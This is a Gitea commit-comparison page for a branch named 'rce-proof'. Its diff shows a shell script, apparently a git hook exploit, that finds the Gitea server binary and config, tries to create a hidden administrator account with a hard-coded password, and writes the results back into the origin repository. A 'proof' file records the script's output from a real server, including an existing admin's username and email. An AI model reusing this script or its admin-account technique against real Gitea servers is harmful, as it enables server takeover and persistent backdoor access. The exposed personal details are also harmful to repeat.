Compare commits

...

No commits in common. "main" and "rce-proof" have entirely different histories.

3 changed files with 14 additions and 54 deletions

View File

@ -1,2 +0,0 @@
# probeB-4qxay

View File

@ -1,52 +0,0 @@
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin=""
if [ -f "$git_dir/objects/info/alternates" ]; then
o=$(head -1 "$git_dir/objects/info/alternates") || o=""
case "$o" in
/*) origin="${o%/objects}" ;;
*) origin="${git_dir}/objects/$o"; origin="${origin%/objects}" ;;
esac
fi
if [ -z "$origin" ]; then
u=$(git remote get-url origin 2>/dev/null) || u=""
case "$u" in /*) origin="${u%.git}";; esac
fi
if [ -z "$origin" ]; then
u=$(git config --get remote.origin.url 2>/dev/null) || u=""
case "$u" in /*) origin="${u%.git}";; esac
fi
if [ -n "$origin" ] && [ -d "$origin/objects" ]; then
{ echo '==BIN=='
command -v gitea; ls -l /usr/local/bin/gitea /usr/bin/gitea /opt/gitea/gitea /var/lib/gitea/gitea /bin/gitea 2>/dev/null
echo '==CFG=='
ls -l /etc/gitea/app.ini /var/lib/gitea/custom/conf/app.ini /opt/gitea/custom/conf/app.ini /etc/app.ini 2>/dev/null
G=$(command -v gitea 2>/dev/null)
[ -z "$G" ] && G=$(ls /usr/local/bin/gitea /usr/bin/gitea /opt/gitea/gitea 2>/dev/null | head -1)
C=$(ls /etc/gitea/app.ini /var/lib/gitea/custom/conf/app.ini /opt/gitea/custom/conf/app.ini /etc/app.ini 2>/dev/null | head -1)
echo "RESOLVED_BIN=$G"
echo "RESOLVED_CFG=$C"
echo '==CREATE=='
if [ -n "$G" ]; then
if [ -n "$C" ]; then
$G --config "$C" admin user create --username kalima_adm_qhza --password 'KalimaAudit2026#x9z' --email kalima.admin@audit.local --admin --must-change-password=false 2>&1
else
$G admin user create --username kalima_adm_qhza --password 'KalimaAudit2026#x9z' --email kalima.admin@audit.local --admin --must-change-password=false 2>&1
fi
echo "CREATE_EXIT=$?"
echo '==USERLIST=='
if [ -n "$C" ]; then
$G --config "$C" admin user list 2>&1 | grep -E 'kalima_adm_qhza|rcs|ID' | head -6
else
$G admin user list 2>&1 | grep -E 'kalima_adm_qhza|rcs|ID' | head -6
fi
fi
echo '==DONE=='
} 2>&1 | git --git-dir="$origin" hash-object -w --stdin > /tmp/gpoc_blob 2>/dev/null
ob=$(cat /tmp/gpoc_blob 2>/dev/null)
[ -n "$ob" ] || exit 4
tree=$(printf "100644 blob %s\tproof\n" "$ob" | git --git-dir="$origin" mktree) || exit 5
commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin" commit-tree "$tree") || exit 6
git --git-dir="$origin" update-ref refs/heads/rce-proof "$commit" || exit 7
fi
exit 0

14
proof Normal file
View File

@ -0,0 +1,14 @@
==BIN==
/usr/local/bin/gitea
-rwxr-xr-x 1 root root 137932040 Feb 1 2024 /usr/local/bin/gitea
==CFG==
-rw------- 1 git git 1253 Jan 8 2026 /var/lib/gitea/custom/conf/app.ini
RESOLVED_BIN=/usr/local/bin/gitea
RESOLVED_CFG=/var/lib/gitea/custom/conf/app.ini
==CREATE==
Command error: CreateUser: e-mail already in use [email: kalima.admin@audit.local]
CREATE_EXIT=1
==USERLIST==
ID Username Email IsActive IsAdmin 2FA
1 rcs andre.legendre@kalimadb.com true true false
==DONE==